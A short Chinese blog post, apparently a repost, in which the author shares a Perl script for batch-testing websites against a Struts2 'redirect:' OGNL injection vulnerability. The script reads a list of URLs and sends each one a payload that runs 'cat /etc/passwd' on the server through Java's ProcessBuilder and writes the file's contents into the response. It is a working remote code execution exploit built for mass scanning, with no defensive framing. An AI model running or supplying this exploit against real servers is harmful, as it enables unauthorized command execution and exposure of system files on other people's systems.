zoukankan      html  css  js  c++  java
  • Perl 测Strut2漏洞

    手贱写了个批量测试的。。昨天要测几个东西。。

    #!/usr/bin/perl
    use HTTP::Request;
    use LWP::UserAgent;
    use threads;
    use Thread::Semaphore;
    use Socket;
    
    
    while(<>){
        Webscan($_);
    }
    sub Webscan
    {
       local($scan_url)=shift;
          $tmp=$scan_url .'?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}';
          my $request=HTTP::Request->new(GET=>$tmp);
          my $uat=LWP::UserAgent->new();
          $uat->timeout(10);
          my $response=$uat->request($request);
          if($response->status_line=~/200/)
            {
    
            }else{
             print "------------------
    ";
    #            print $response->content;
             print $tmp;
             print "------------------
    ";
          }
    }
  • 相关阅读:
    monads-are-elephants(转)
    程序语言简史(转)
    语法的省略不能造成编译器的歧义
    scala getter and setter
    隐式类型转换
    java 调用 scala
    列表的操作
    Scala HandBook
    Scala 高级编程练习
    Net 2.0 C# 专用的只读类Tuple
  • 原文地址:https://www.cnblogs.com/xiaoCon/p/3197501.html
Copyright © 2011-2022 走看看